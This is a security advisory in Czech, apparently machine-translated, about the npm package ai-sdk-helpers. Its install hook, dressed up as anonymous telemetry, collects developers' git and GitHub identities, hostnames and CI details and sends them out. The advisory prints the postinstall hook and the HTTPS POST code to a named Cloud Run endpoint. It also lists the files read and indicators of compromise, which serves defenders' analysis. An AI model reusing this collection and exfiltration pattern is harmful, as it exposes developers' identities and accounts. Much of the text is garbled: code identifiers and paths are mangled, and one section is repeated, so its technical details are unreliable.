TL, DR
Jeden npm balíček, pomocníci AI-SDK, se prezentuje jako produkční sada nástrojů pro Vercel AI SDK a nabízí sledování nákladů, záložní poskytovatele a pomocníky pro streamování.
Jeho instalační skript se otevírá propracovaným popisným bannerem anonymní diagnostika, slibujíc, že nebudou přenášeny žádné zdrojové kódy, tokeny ani přihlašovací údaje, a ctíc tak DO_NOT_TRACK odhlášení a propojení se stránkou zásad telemetrie.
Stejný skript poté přečte identitu vývojáře v systému Git, konfiguraci CLI GitHubu, název hostitele počítače, uživatelské jméno operačního systému, pracovní adresář a poskytovatele CI.
Tato data jsou odesílána jako JSON do koncového bodu Google Cloud Run, což vytváří zjevný nesoulad mezi uvedenými zásadami telemetrie a skutečně shromážděnými poli.
Balíček byl publikován ve dvaadvaceti verzích v rámci jediného 83sekundového záběru a instalační skript je bajt po bajtu identický napříč všemi označenými verzemi.
Sedm z osmi verzí, které jsme recenzovali pipeline byly klasifikátorem ML ohodnoceny jako neprůkazné, protože styl banneru souhlasu se čte jako legitimní telemetrie.
Klasifikujeme ai-sdk-helpers jako škodlivý na základě shromažďování a exfiltrace identity vývojáře během instalace.
Závažnost: vysoká.
Anatomie instalace
{
"scripts": {
"postinstall": "node scripts/postinstall.js"
}
}po instalaci běží automaticky na npm install, než bude importován jakýkoli inzerovaný kód balíčku. Skript skripty/postinstall.js je místem, kde se nachází veškeré chování během instalace.
Začíná blokem komentářů a oznámením za běhu napsaným v registru open-source projektu dbajícího na soukromí:
>Když si nainstalujete ai-sdk-helpers, spustíme rychlou kontrolu kompatibility prostředí a anonymně nahlásíme diagnostiku… Data jsou plně anonymní – shromažďujeme vaši platformu, verzi uzlu a jednosměrný hash identifikátoru vašeho počítače. Nikdy se nepřenáší žádný zdrojový kód, tokeny ani přihlašovací údaje.
Dokonce zapojuje funkční bránu pro odhlášení, první spustitelný kód v souboru:
if (
process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||
process.env.DO_NOT_TRACK === "1"
) {
process.exit(0);
}Právě to, že se tato brána zapne jako první, dává ostatním možnost číst je konsensuální: vývojář, který nastavuje `D_NESLEDUJE_SLEDOVÁNO` tiše ponechá instalaci dokončenou a balíček dodržuje konvenci. Ctěný odhlášení je skutečné. Pro všechny, kteří jej nenastaví, omezuje kolekci popsanou níže – nikoli užší označení „platforma, verze Node a jednosměrný hash“, jak je uvedeno v oznámení.
Pod touto branou skript sestavuje datovou část, která výrazně přesahuje tento popis.
- *Gidentita.* rvyřešitScmIdentita()` eads `~.gitconfig`,`~.config/git/config`,a `.it/config`,analyzuje `[ser]` sekce a vrátí nakonfigurovanou commit e-mail. Pokud žádný konfigurační soubor nevrátí e-mail, vrátí se zpět k `GE-MAIL_AUTORU,`GT_COMMITTER_EMAIL`,a `EAIL` proměnné prostředí. Dokumentační řetězec nad funkcí rámuje čtení jako způsob „deduplikace instalací napříč počítači vlastněnými stejnou osobou (např. notebook + CI)“ – deklarovaný účel, který vyžaduje stabilní identifikátor pro každého vývojáře, který commit e-mailové potřeby.
- *GÚčet tHub.* rsolveGitHubIdentity()` eads `~.config/gh/hosts.yml` a `~.config/gh/hosts.yaml` konfigurační soubor zapsaný rozhraním příkazového řádku GitHubu při ověření vývojáře – a pomocí regulárních výrazů extrahuje `uehm:` a `enemoc:` pole. Tento soubor také ukládá token GitHub OAuth; regulární výraz skriptu cílí konkrétně na řádky s uživatelským jménem a e-mailem a token neextrahuje. Tvrzení v banneru s upozorněním „žádné tokeny… se nikdy nepřenášejí“ je tedy doslova pravdivé pro dané jedno pole, zatímco se čtou a odesílají okolní identifikátory účtů.
- *Hotisk prstu st a CI.* Scénář pak shromažďuje `o.název_hostitele()`,`o.userInfo().uživatelské_jméno`,verze, platforma a architektura uzlu, `pocess.cwd()`,a popisek poskytovatele CI vyřešený kontrolou proměnných prostředí pro osm poskytovatelů (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite a dva generické příznaky CI). Seznam poskytovatelů se čte jako inventář míst, kde se skript očekává spuštění – interaktivní shell a automatizované sestavení pipelineje podobný.
Všechny tyto jsou seskupeny do jednoho `dagnostici objekt s poli pro jednotlivé vývojáře shromážděnými v rámci `ientita ey a data hostitele pod `rčas a `cntext` eys, poté serializovány a přenášeny:
const req = https.request(
{
hostname: "npm-package-logger-228835561205.europe-west1.run.app",
path: "/",
method: "POST",
headers: { "Content-Type": "application/json" },
timeout: 5000,
},
() => {}
);
req.on("error", () => {});
req.write(body);
req.end();Odpověď je zahozena a všechny chyby jsou pohlceny – komentář uvádí, že „telemetrie nesmí nikdy přerušit instalaci“. Název hostitele koncového bodu kóduje službu Google Cloud Run v řetězci `elanový západ1` region.
Mezera je ten příběh. Banner uvádí tři kategorie dat – platformu, verzi uzlu, hash identifikátoru stroje. Údaj odesílá skutečný git vývojáře. commit e-mail, jejich uživatelské jméno a e-mail na GitHubu, název hostitele jejich počítače a název účtu operačního systému, cesta k jejich projektu a jejich prostředí CI. Pole, která identifikují *prson a jejich účty* přesně ty oblasti, které zveřejnění vynechává.
Soubor README posiluje rámcování z druhé strany. Jeho část „Telemetrie“ opakuje tvrzení o anonymitě a propojuje slovo `D_NESLEDUJE_SLEDOVÁNO` o `cnsoledonottrack.com`,skutečná stránka komunity, která dokumentuje úmluvu o odhlášení – vypůjčuje si uznávaný způsob ochrany osobních údajů standard aby oznámení bylo čitelné jako rutinní záležitost.
Timeline
Jedná se o nález v jednom balíčku s velmi krátkou a velmi hustou publikační historií. Neexistuje žádný vícetýdenní kampaňový oblouk, který by bylo možné sledovat – celá řada verzí byla publikována rychlostí stroje.
| Kdy (UTC) | událost |
|---|---|
| 2026-06-03 20:31:20 | První verze (0.1.0) publikováno na npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Všech 22 verzí (0.1.0 přes 1.4.2) publikované v 83sekundové automatické dávce. |
| 2026-06-04 | Osm verzí označených detekčními signály; manuální analýza potvrzuje sběr a exfiltraci identity v době instalace. Balíček zůstal v době analýzy aktivní na npm. |
83sekundové okno napříč 22 sémantickými verzemi je samo o sobě behaviorálním indikátorem: žebříček verzí (`01.0`,`01.1`,… `14.2")představuje povrch aktivně spravovaného projektu s historií vydání, vytvořenou v jednom skriptovaném spuštění. Instalační skript se v rámci tohoto žebříčku nemění – viz níže.
Ukazatele kompromisu
Datové zatížení instalace je v celém rozsahu publikovaných verzí stejné. A `dff` f `sript/postinstall.js` verze `02.1 " nd verze `14.2 " nevrací žádné rozdíly; chování je jeden fixní otisk prstu, nikoli vyvíjející se užitečná zátěž.
Síť
83sekundové okno napříč 22 sémantickými verzemi je samo o sobě behaviorálním indikátorem: žebříček verzí (`01.0`,`01.1`,… `14.2")představuje povrch aktivně spravovaného projektu s historií vydání, vytvořenou v jednom skriptovaném spuštění. Instalační skript se v rámci tohoto žebříčku nemění – viz níže.
Ukazatele kompromisu
Datové zatížení instalace je v celém rozsahu publikovaných verzí stejné. A `dff` f `sript/postinstall.js` verze `02.1 " nd verze `14.2 " nevrací žádné rozdíly; chování je jeden fixní otisk prstu, nikoli vyvíjející se užitečná zátěž.
Síť
| Indikátor | Role |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Koncový bod exfiltrace přijímající HTTPS POST požadavky s datovými částmi JSON. Hostováno na Google Cloud Run v europe-west1 kraj. |
Infrastruktura návnad
| Indikátor | Role |
|---|---|
ai-sdk.guide | Domovská stránka balíčku a aktivní web podporující identitu autora „AI SDK Guide“. |
ai-sdk.guide/telemetry | Adresa URL zásad telemetrie uvedená v oznámení o zveřejnění informací v době instalace. |
hello@ai-sdk.guide | E-mail autora deklarovaný v package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Zdrojový repozitář deklarovaný balíčkem. |
Soubory načtené při instalaci
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` email
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` Rozhraní příkazového řádku GitHubuehm `enemohou
Behaviorální podpisy
- – m `pstinstall` ook vyvolání přidaného skriptu Node
- – brána pro odhlášení („A“)_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NESLEDUJE_)prezentováno jako prvek ochrany soukromí, před shromažďováním identity
- – odchozí HTTPS POST odeslaný z JSON objektu obsahujícího e-mailovou adresu GitHub, identitu GitHub, název hostitele, uživatelské jméno operačního systému, cwd a popisek CI
- – identický instalační skript v rámci rychle publikovaného žebříčku verzí
Atribuce a pozorované chování
Nepřiřazujeme nic nad rámec toho, co zaznamenávají metadata balíčku a registru.
Správcem záznamů npm je účet `a`ielsimon`,s adresou `aiel@vigilance.security`.Registr uvádí daný e-mail jako neověřený a identitu správy zdrojů daného účtu jako neověřenou. `pckage.json`,samostatně prezentuje autora jako „Průvodce AI SDK“ello@ai-sdk.guide>`”s domovskou stránkou `a-sdk.guide` a zdrojový repozitář pod doménou `gOrganizace thub.com/ai-sdk-guide. E-mailová doména publikačního účtu (vigilance.security).a identitu autora v balíčku (`a-sdk.guide`)jsou různé domény.
`a-sdk.guide` ite je aktivní a reaguje a `/elemetrie ath řeší — identita návnady je podpořena dosažitelnou webovou přítomností, nikoli nefunkčním odkazem, což zvyšuje věrohodnost rámování balíčku.
**Pozorovaná schopnost.** Při instalaci balíček načte soubory identity vývojáře a konfigurace účtu, otiskne hostitelské a CI prostředí a odešle výsledek do koncového bodu ovládaného operátorem, přičemž zobrazí upozornění, které popisuje užší a anonymizovanou datovou sadu. Toto chování popisujeme; netvrdíme, že pro něj byl motiv. Čtenáři hodnotící balíček – včetně jakékoli strany, která rozpoznává identitu publikovatele – by měli zvážit pozorovatelný nesoulad mezi uvedenými a skutečnými datovými toky.
Dopad, trendy a pokyny pro obránce
Kdo je odhalen. Každý, kdo instaluje pomocníci AI-SDK – přímo nebo jako tranzitivní závislost – spustí kolekci na daném počítači. Protože spouštěč je po instalaci, inzerovaný kód knihovny se nikdy nemusí importovat, aby proběhl tok dat; stačí samotná instalace. Nejhodnotnější prostředí jsou vývojářské pracovní stanice s nakonfigurovanou identitou git a ověřeným rozhraním příkazového řádku GitHub a běžci CI, kde detekce poskytovatele CI skriptem indikuje, že se očekává spuštění kolekce uvnitř sestavení. pipelinestejně jako na noteboocích.
Co to odhaluje. V obecném případě se nejedná o aplikační tajemství – užitečné zatížení se zaměřuje na identitavývojáře commit e-mail, název a e-mail účtu GitHub, název počítače a účtu a cestu k projektu. To je předběžnýcismapa toho, kdo balíček nainstaloval, na jakém počítači, v jakém repozitáři a pod kterým systémem CI. Pro organizaci by hrstka takových záznamů dohromady vyjmenovala, kteří inženýři a které systémy sestavení závislost stáhly – což je užitečné jako předzvěst cílenější následné aktivity, i když vlastní chování tohoto balíčku končí u sběru a přenosu.
Trend: telemetrie jako krytí. Legitimní nástroje pro vývojáře shromažďují anonymní diagnostické údaje o instalaci a existují pravidla pro jejich respektování – oznámení o zveřejnění, NESLEDOVAT čest, příznak odhlášení, adresa URL zásad – jsou dobře známé. pomocníci AI-SDK věrně reprodukuje všechny čtyři tyto konvence a používá je jako obal pro shromažďování identity. Přítomnost banneru se souhlasem, funkčního odhlášení nebo odkazu na zásady ochrany osobních údajů není důkazem důvěryhodnosti balíčku; tyto ovládací prvky se dají levně napodobit. Jedinou spolehlivou kontrolou je, co kód skutečně čte a kam to skutečně odesílá.
Toto balení má také měřitelný vliv na automatizované třídění. Napříč našimi verzemi pipeline Po kontrole byly komentáře v prostém jazyce, strukturované názvy polí a konvenční brána pro odhlášení instalačního skriptu hodnoceny jako běžná telemetrie: sedm z osmi se vrátilo nepřesvědčivý z klasifikátoru ML, spíše než škodlivý. Signál, který řeší nejednoznačnost, není v textu – je v konkrétních souborech, které skript otevírá (~ / .gitconfig, ~/.config/gh/hosts.yml) a místo určení, kam je odesílá. Kontrolor, automatizovaný nebo lidský, který si přečte zveřejnění a u něj se zastaví, dospěje k nesprávnému závěru; rozhodnutí musí vycházet z faktů o toku dat.
Pokyny pro obránce:
- Instalace s ve výchozím nastavení zakázanými skripty — npm install –ignore-scriptsnebo nastavit ignore-scripts=true in .npmrc a explicitně spustit ověřené kroky sestavení. To neutralizuje po instalaci- spuštěné vymáhání pohledávek napříč celou společností.
- Nepovažujte ovládací prvky pro odhlášení za signály důvěry. NESLEDOVAT Kontrola nebo odkaz „zásady telemetrie“ vám neřeknou nic o datech, která skript shromažďuje, když brána není nastavena.
- Před přijetím pomocných balíčků pro ekosystém umělé inteligence si přečtěte instalační hook. Prostor sady Vercel AI SDK je rychle se rozvíjející cíl s vysokou důvěryhodností; po instalaci který se dotýká ~ / .gitconfig or ~/.config/gh/ je jasným signálem bez ohledu na to, jak jsou napsány okolní komentáře.
- Monitorování odchozího signálu v době sestavení. Odchozí HTTPS POST během npm install, zejména pro nově zřízený koncový bod cloudové funkce, je pozorovatelný na síťové vrstvě a představuje silný detekční bod pro prostředí CI.
- Dávejte pozor na komprimované žebříčky verzí. Balíček, jehož celá sémantická historie verzí se zobrazí během několika sekund s neměnným instalačním skriptem, prezentuje vyrobenou historii údržby.







